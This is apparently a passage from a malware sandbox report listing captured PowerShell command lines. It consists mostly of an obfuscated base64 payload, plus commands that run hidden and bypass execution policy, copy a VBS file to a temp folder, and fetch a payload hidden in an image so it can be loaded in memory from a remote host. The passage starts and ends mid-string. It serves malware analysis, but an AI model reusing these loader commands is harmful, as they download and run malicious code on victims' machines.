QAuPACDÇXGiuçaOcqNPVAuPACDÇXGiuçaOcqNPB5AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPRgBpAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPZQByAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPSAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPZQB0AuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPbwBkAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPB5AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPEcAuPACDÇXGiuçaOcqNPZQB0AuPACDÇXGiuçaOcqNPE0AuPACDÇXGiuçaOcqNPZQB0AuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPbwBkAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJwBWAuPACDÇXGiuçaOcqNPEEAuPACDÇXGiuçaOcqNPSQAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPLgBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPdgBvAuPACDÇXGiuçaOcqNPGsAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPbgB1AuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPWwBvAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPagBlAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPF0AuPACDÇXGiuçaOcqNPXQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJwBkAuPACDÇXGiuçaOcqNPEgAuPACDÇXGiuçaOcqNPaAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPwAuPACDÇXGiuçaOcqNPEwAuPACDÇXGiuçaOcqNPbQAuPACDÇXGiuçaOcqNP1AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPWQBpAuPACDÇXGiuçaOcqNPDgAuPACDÇXGiuçaOcqNPMAuPACDÇXGiuçaOcqNPBNAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPRQB5AuPACDÇXGiuçaOcqNPEwAuPACDÇXGiuçaOcqNPegBjAuPACDÇXGiuçaOcqNPDAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPTAuPACDÇXGiuçaOcqNPBqAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPdwBNAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPB6AuPACDÇXGiuçaOcqNPEwAuPACDÇXGiuçaOcqNPagBJAuPACDÇXGiuçaOcqNPDUAuPACDÇXGiuçaOcqNPTQBTAuPACDÇXGiuçaOcqNPDgAuPACDÇXGiuçaOcqNPdgBPAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPQgAuPACDÇXGiuçaOcqNPwAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPRwBnAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCwAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNPyAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwByAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPZwBhAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPbQAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPLAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPLAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPQwAuPACDÇXGiuçaOcqNP6AuPACDÇXGiuçaOcqNPFwAuPACDÇXGiuçaOcqNPVwBpAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPcwBcAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPXAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCwAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPawBjAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPKQAuPACDÇXGiuçaOcqNP=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('AuPACDÇXGiuçaOcqNP','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" |
| cmdline | powershell.exe -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasm.vbs -Force } |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasm.vbs -Force } |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4072801.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0Lm5pYi80MTEyLzc0LjgwMS4zLjI5MS8vOnB0dGg=' , '' , '2' , 'regasm' , '4' , 'C:\Windows\Temp\', 'hkcmd'))" |
| cmdline | powershell -command "$Codigo = 'JAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPYQBnAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPVQByAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwBoAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBwAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPOgAuPACDÇXGiuçaOcqNPvAuPACDÇXGiuçaOcqNPC8AuPACDÇXGiuçaOcqNPdwBhAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBwAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPYwBhAuPACDÇXGiuçaOcqNPHYAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPbwBtAuPACDÇXGiuçaOcqNPC8AuPACDÇXGiuçaOcqNPdQB3AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPLwB1AuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP0AuPACDÇXGiuçaOcqNPDAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPNwAuPACDÇXGiuçaOcqNPyAuPACDÇXGiuçaOcqNPDgAuPACDÇXGiuçaOcqNPMAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPxAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPBuAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPdwBlAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPQwBsAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPZQBuAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPTgBlAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPLQBPAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPagBlAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPTgBlAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPLgBXAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPYgBDAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPaQBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPaQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZwBlAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPeQB0AuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPcwAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPZQBiAuPACDÇXGiuçaOcqNPEMAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgB0AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPRAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPbgBsAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPYQBkAuPACDÇXGiuçaOcqNPEQAuPACDÇXGiuçaOcqNPYQB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPKAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbQBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQBVAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPpAuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPYQBnAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPVAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPVAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPEUAuPACDÇXGiuçaOcqNPbgBjAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZwBdAuPACDÇXGiuçaOcqNPDoAuPACDÇXGiuçaOcqNPOgBVAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPRgAuPACDÇXGiuçaOcqNP4AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPRwBlAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPUwB0AuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPaQBuAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPKAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbQBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQBCAuPACDÇXGiuçaOcqNPHkAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPKQAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP8AuPACDÇXGiuçaOcqNPDwAuPACDÇXGiuçaOcqNPQgBBAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPRQAuPACDÇXGiuçaOcqNP2AuPACDÇXGiuçaOcqNPDQAuPACDÇXGiuçaOcqNPXwBTAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPQQBSAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPPgAuPACDÇXGiuçaOcqNP+AuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP8AuPACDÇXGiuçaOcqNPDwAuPACDÇXGiuçaOcqNPQgBBAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPRQAuPACDÇXGiuçaOcqNP2AuPACDÇXGiuçaOcqNPDQAuPACDÇXGiuçaOcqNPXwBFAuPACDÇXGiuçaOcqNPE4AuPACDÇXGiuçaOcqNPRAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP+AuPACDÇXGiuçaOcqNPD4AuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbQBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQBUAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPB0AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPSQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPE8AuPACDÇXGiuçaOcqNPZgAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPKQAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPZQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPSQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPaQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZwBlAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPLgBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPTwBmAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBGAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPYQBnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPDAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCsAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPLgBMAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgBnAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPaAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPYgBhAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNP2AuPACDÇXGiuçaOcqNPDQAuPACDÇXGiuçaOcqNPTAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZwB0AuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPYQByAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPSQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBiAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcwBlAuPACDÇXGiuçaOcqNPDYAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPBDAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPaQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZwBlAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPLgBTAuPACDÇXGiuçaOcqNPHUAuPACDÇXGiuçaOcqNPYgBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPcgBpAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZwAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBiAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcwBlAuPACDÇXGiuçaOcqNPDYAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPBMAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgBnAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPaAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPpAuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBjAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPeQB0AuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPcwAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPQwBvAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPdgBlAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBdAuPACDÇXGiuçaOcqNPDoAuPACDÇXGiuçaOcqNPOgBGAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPbwBtAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPYQBzAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPNgAuPACDÇ